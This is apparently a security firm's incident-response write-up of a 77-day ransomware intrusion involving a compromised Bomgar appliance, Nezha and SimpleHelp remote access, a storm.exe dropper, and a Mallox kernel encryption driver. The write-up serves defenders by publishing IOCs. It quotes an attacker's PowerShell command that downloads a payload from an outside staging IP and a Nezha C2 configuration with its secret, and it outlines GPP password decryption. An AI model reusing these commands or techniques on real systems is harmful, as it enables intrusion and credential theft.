They Were Inside for 77 Days. The Ransomware Was Already Loaded.

Overview

The attackers had been inside the network for 77 days before anyone realized there was an intrusion.

During that time, they moved laterally to four servers, installed three separate remote access tools on the domain controller, and loaded a kernel-level ransomware encryption driver that reinstalled itself on a 7-day schedule.

They were two steps away from encrypting everything.

Our team was called in on day 77. The encryption driver had already reinstalled itself for the third time that morning.

This is that investigation.

What You Need to Understand Before We Start

This incident involves several techniques that most security teams are unfamiliar with. A brief primer:

BeyondTrust / Bomgar Jump Clients: Bomgar is a legitimate remote support platform used by IT teams worldwide. It works via a central appliance that hosts “Jump Client” sessions, persistent agents installed on endpoints that allow remote access through the appliance. If an attacker compromises the Bomgar appliance itself, they can create unauthorized Jump Client sessions on any machine, and those sessions appear to come from the legitimate internal appliance, not the attacker’s IP.

Nezha Agent: Nezha is an open-source infrastructure monitoring tool with legitimate uses. It also provides full remote shell, file transfer, and command execution capabilities. Threat actors deploy it because its binary is clean on most antivirus products (0/72 VirusTotal detections in this case); it is a dual-use tool, not traditional malware.

EaseFlt.sys / EaseFilter SDK: EaseFilter is a legitimate Windows kernel driver development SDK used by software companies for file system filtering (backup software, encryption tools, etc.). Mallox ransomware operators abuse it as a Bring Your Own Vulnerable Driver (BYOVD) encryption engine. The driver is validly signed, kernel-level, and largely invisible to EDR solutions that detect encryption via user-mode file write patterns. The attackers use the trial version, which expires after approximately 7 days, and schedule a weekly reinstall to reset the timer.

BYOVD (Bring Your Own Vulnerable Driver): A class of technique where attackers load a legitimate, signed kernel driver to perform malicious actions. Because the driver is legitimately signed by Microsoft or a trusted vendor, security tools cannot block it based on signature alone.

The Organization

A regional professional services company with approximately 200 employees. Organizations in this sector are high-priority targets for ransomware groups: they handle large financial transactions, maintain lean IT security teams, and operate on-premise infrastructure to manage business-critical applications that cannot easily be moved to cloud-native architectures.

Their environment: Windows Server 2016/2019 on-premise infrastructure, a mix of domain-joined servers running line-of-business applications (ERP, SQL, file shares), a BeyondTrust/Bomgar remote support appliance, and a managed detection and response (MDR) provider monitoring security events.

How It Started: The Initial Compromise

The investigation identified two confirmed initial access vectors, both of which were active simultaneously and converged on the domain controller.

Vector 1: An internet-facing web application exposed directly to the internet with a public IP address. The application ran its scheduled tasks under a domain service account. Forensic evidence confirmed this account was used for lateral movement as early as December 06, 2025, the earliest verified attacker activity in the environment.

Vector 2: The organization’s BeyondTrust/Bomgar remote support appliance was compromised via CVE-2026-1731, a critical remote code execution vulnerability in BeyondTrust Remote Support. Forensic evidence confirmed six unauthorized Jump Client sessions were created across multiple hosts, all originating from the internal Bomgar appliance. The attacker IP used to stage malware (45.61.150.96) is a documented IOC in the CVE-2026-1731 exploitation campaign, and appliance logs confirmed exploitation activity predating the February 20, 2026 escalation. This gave the attackers authenticated, persistent access to every host running a Jump Client, appearing to originate from a trusted internal system, without triggering any network-based detection.

Figure 1: Both access vectors were forensically confirmed. The web application service account provided initial domain credentials. The Bomgar appliance compromise via CVE-2026-1731 provided persistent, authenticated access to every host in the environment from a trusted internal source.

77 Days of Silence

The earliest confirmed attacker activity in forensic evidence was December 06, 2025, a lateral movement event where the compromised service account authenticated to a secondary application server in a 3-minute session.

The attack that triggered incident response happened on February 20, 2026.

That is 77 days of confirmed dwell time. The actual initial access likely predates December 06, 2025.

During those 77 days, the attackers:

• Established persistent access on multiple hosts via unauthorized Bomgar Jump Client sessions
• Pre-staged the Mallox ransomware encryption driver (EaseFlt.sys) on two servers
• Set up automated weekly driver reinstalls to maintain the encryption infrastructure
• Accessed the domain controller’s environment, mapping the network
• Gained access to a remote employee laptop on a home network

None of this triggered a response. The MDR provider did not detect the December 2025 through early February 2026 activity.

February 20: The Escalation

At 10:33 AM local time, the attackers moved from passive persistence to active operations. What followed happened across multiple servers in a coordinated 14-minute window.

Figure 2: The 14-minute escalation window on February 20, 2026. DC was targeted first at 10:33 AM. By 10:42 AM the Nezha C2 agent was active at SYSTEM level. By 10:47 AM three simultaneous remote access tools were running on the domain controller.

The domain controller was targeted first, four and a half minutes before the application server. The sequence indicates the attacker had pre-planned access to the DC and used it as the primary objective, with the application server as a secondary target.

The attacker now had three simultaneous remote access mechanisms on the domain controller, all running as SYSTEM:

1. Bomgar Jump Client – through the legitimate internal Bomgar appliance
2. Nezha agent – direct C2 to 83.138.53.139:80 (HTTP, no TLS)
3. SimpleHelp RMM – third RMM tool for redundancy

This is standard sophisticated threat actor practice: install redundant access so that removing one tool does not eliminate access.

The Tools: Why They Didn’t Get Caught

Nezha Agent: 0/72 VirusTotal

The Nezha agent deployed on the domain controller was flagged by zero of 72 antivirus engines on VirusTotal at the time of analysis.

This is not because Nezha is sophisticated malware. It is because Nezha is a legitimate open-source infrastructure monitoring tool. Its binary matches the signature of legitimate software. The malicious use is entirely in how it was deployed and what it connected to.

Hash: D3ABD4BAE082D4C9918447FE82C521567CC7F9B0E5F2D55999A6E5C40FA7FD54

C2 configuration recovered from SYSTEM PowerShell history:

NZ_SERVER = 83.138.53.139:80
NZ_TLS = false
NZ_CLIENT_SECRET = NHAFEijqMKHcdhbNmxMdxpIIkLQfpkey

The Nezha agent provides full interactive shell access, file transfer, and remote command execution at SYSTEM level. The attacker likely used it to disable Windows Defender exclusions on the domain controller before deploying additional payloads.

storm.exe: NSIS Dropper

storm.exe is detected as Trojan:Win32/Seheq!rfn by Microsoft Defender, a behavioral/ML detection, not a static signature. It is an NSIS (Nullsoft Scriptable Install System) dropper that downloads and executes a second-stage payload.

On the application server, Microsoft Defender quarantined it. On the domain controller, it executed before EDR coverage was deployed on that machine. The second-stage payload likely succeeded on the DC.

Staging server: 45.61.150.96:8080 (same IP tied to CVE-2026-1731 Bomgar exploitation)

Download command recovered from SYSTEM PowerShell history:

IWR http://45.61.150.96:8080/storm.exe -OutFile C:\\Windows\\storm.exe

SimpleHelp: Signed, Legitimate, Undetected

SimpleHelp is a legitimate RMM tool signed by “SimpleHelp Ltd.” VirusTotal score: 17/72, and most of those detections are generic RMM heuristics, not malware signatures. It installs as a Windows service called “Remote Access Service” and provides full remote access capability.

Hash: 0ab9040be6887b97006ea5e90b8efa778c4fb39efa70c623aea84e6b06d4984a

Figure 3: Three tools running simultaneously on the domain controller, all as SYSTEM. Nezha had 0/72 VirusTotal detections. SimpleHelp is legitimately signed. Only storm.exe was flagged – and only on the application server where EDR was already deployed.

The Ransomware That Was Already There

Weeks before the February 20, 2026 escalation, the attackers had already pre-staged Mallox ransomware infrastructure on two servers.

EaseFlt.sys is the kernel-level encryption driver used by Mallox ransomware (also known as TargetCompany or Fargo ransomware). It is part of the legitimate EaseFilter SDK, a validly signed Windows kernel driver. Mallox operators bundle it and use it for transparent file encryption at the kernel level, bypassing EDR solutions that monitor for user-mode file encryption patterns.

SHA256: 97A047AEEFDDF3DCAE4257E3B2ED5FB923D47F97C9A5EE830F0D7D8E7423DC1B

This hash was not present in VirusTotal, Hybrid Analysis, or MalwareBazaar databases at time of analysis.

Installation history across both servers:

The exact 7-day interval (delta confirmed at 6 days, 23 hours, 59 minutes between EID 7045 service installation events) is the behavioral signature of Mallox using the trial version of the EaseFilter SDK. The trial version has an approximately 7-day functional timeout. The attackers scheduled weekly reinstalls to reset the timer and keep the encryption engine active indefinitely.

When our team was brought in on February 22, 2026, the third reinstall on the secondary server had occurred 5 hours earlier at February 22, 2026 07:02 AM. The encryption driver was active and loaded into the kernel.

The attackers also confirmed reach across additional infrastructure:

• A second domain controller (previously unknown to the IR scope) also had the EaseFlt.sys driver present, timestomped to 2024 to evade detection
• Shadow copies on the application server had been nearly eliminated, with only 1 remaining out of the typical 3-5 (T1490, inhibit system recovery)

Figure 4: The weekly reinstall schedule for EaseFlt.sys across multiple hosts. By the time our team engaged, the third reinstall had already occurred. The encryption driver was loaded and active in the kernel.

The Backdoor Nobody Knew About Since 2016

During investigation of a pre-existing vulnerability (not attacker-created but almost certainly exploited), we found a Group Policy Object created in 2016 and last modified in 2021.

The GPO deployed a local administrator account to every domain-joined machine in the environment. The password was stored in SYSVOL using Group Policy Preferences, a technique that was encrypted using a static AES-256 key that Microsoft documented publicly in the MS-GPPREF MSDN protocol specification around 2012. CVE-2014-1812 patched the ability to create new GPP passwords in Group Policy, but the key itself had been publicly documented for years before that, and any existing GPP passwords in SYSVOL remain decryptable.

Any authenticated domain user can read the cpassword from SYSVOL and decrypt it using the publicly known key. The decrypted password gave local administrator access to every domain-joined machine.

This vulnerability was 10 years old and still active in this environment in 2026.

On top of this, the compromised Veeam backup server had a locally created backdoor account (“oldadmin”) that was confirmed to be attacker-created, with an ActivitiesCache.db entry showing creation during the active attack window.

The krbtgt account (the master key for Kerberos authentication in Active Directory) had not been reset since June 2016, nine and a half years. If the attacker had extracted it and created a Golden Ticket, that ticket would survive every user password reset in the environment. Full invalidation would require rotating the krbtgt password twice.

Figure 5: The GPP cpassword attack chain. The AES-256 encryption key was publicly documented in Microsoft’s MS-GPPREF protocol specification around 2012. CVE-2014-1812 (2014) patched the ability to create new GPP passwords, but it did not invalidate existing ones. Any cpassword already in SYSVOL remains decryptable by any domain user.

The MDR Provider Missed It

This is worth addressing directly.

The MDR provider received an alert when storm.exe was detected on the application server at February 20, 2026 10:41 AM. They closed it as a “likely false positive” at approximately February 20, 2026 11:04 AM, 23 minutes after the alert.

At February 20, 2026 10:42 AM, one minute after the storm.exe alert, the Nezha C2 agent was being installed on the domain controller.

The MDR provider received the domain controller alert at February 20, 2026 11:31 AM. They provided analysis at February 21, 2026 09:32 AM, 14.5 hours later. Their recommended actions for a confirmed domain controller compromise were insufficient for the severity of the situation.

This is not mentioned to assign blame. It represents a common failure pattern: MDR providers operating at scale apply heuristics calibrated for false positive reduction. An alert that looks like a potential false positive in isolation looks very different when correlated with simultaneous events across multiple hosts. Automated detection caught the event. Human analysis failed to act on it in time to prevent domain controller compromise.

Threat Attribution

Threat intelligence analysis completed during the investigation identified both attacker IP addresses as documented IOCs in the CVE-2026-1731 BeyondTrust/Bomgar exploitation campaign, as reported by Gurucul, Palo Alto Unit 42, and Huntress.

• 83.138.53.139 (Nezha C2): Explicitly documented as post-exploitation C2 infrastructure in the CVE-2026-1731 campaign. Prinode AB hosting, ASN AS63473. Toolkit: Nezha + VShell + SparkRAT.
• 45.61.150.96 (storm.exe staging): Tied to CVE-2026-1731 exploitation and NSIS dropper campaigns. RouterHosting/Cloudzy bulletproof hosting, ASN AS14956.

Primary attribution candidate: Silk Typhoon (China-nexus, state-sponsored APT), explicitly named by Palo Alto Unit 42 as the CVE-2026-1731 Bomgar campaign actor. The Nezha agent is a specific indicator; it is not used by Western financially motivated ransomware groups. Its use alongside Bomgar exploitation and the campaign IOCs strongly indicates Chinese-nexus initial access.

Probable ransomware family: Mallox / TargetCompany (Fargo). The EaseFlt.sys 7-day weekly reinstall pattern is the behavioral signature of Mallox using the trial EaseFilter SDK.

Most likely scenario: A Chinese-nexus initial access broker (Silk Typhoon or affiliated actor) gained access and maintained a 77-day dwell period conducting reconnaissance. A Mallox affiliate purchased or was given access and pre-staged the encryption infrastructure independently, preparing for a coordinated detonation event.

MITRE ATT&CK Mapping

Figure 6: Full MITRE ATT&CK mapping of this incident. Multiple persistence mechanisms, BYOVD for defense evasion, and shadow copy deletion staged before the intended detonation event.

What Stopped the Encryption

• Speed of IR response once escalated. From the time the investigation was escalated to our team, the clock was managed. The February 22, 2026 EaseFlt.sys reinstall had already occurred, but the encryption event had not yet been triggered.
• The MDR did catch the initial alert. It was mishandled, but it created a record that ultimately led to escalation.
• Microsoft Defender quarantined storm.exe on the application server. This limited the second-stage payload from succeeding on that host.
• The trial driver expiration model gave us a window. The EaseFilter SDK trial runs for approximately 7 days. The attackers needed to maintain the cycle. That cycle is detectable.

The Numbers

The Bottom Line

Ransomware groups do not kick in the door. They buy the key from someone who has been inside for months, walk in quietly, and spend weeks loading their tools before anyone notices.

In this incident, the encryption driver had been reinstalling itself on a weekly schedule for three weeks before the escalation event triggered any response. The attackers were ready to encrypt. They were waiting for the right moment.

We caught it. But the margin was measured in hours, not days.

The techniques in this incident are not new. CVE-2014-1812 (GPP cpassword) was documented in 2014. BYOVD has been a known technique for years. Dual-use RMM tools as persistence mechanisms are in every ransomware playbook. Domain controllers not running EDR is a configuration gap that appears in nearly every environment we assess.

The vulnerabilities that enabled this intrusion were not sophisticated. They were old, well-documented, and in many cases had free detection methods available.

All incident details have been sanitized and anonymized to protect client confidentiality. IOC data is published to support the defender community. Attacker infrastructure details (IPs, hashes, tool signatures) are published as confirmed malicious indicators from this investigation.

AlphaONE Operations performs incident response investigations, ransomware readiness assessments, and Active Directory security reviews. If you have indicators of compromise or want to assess your environment before an incident occurs, contact us.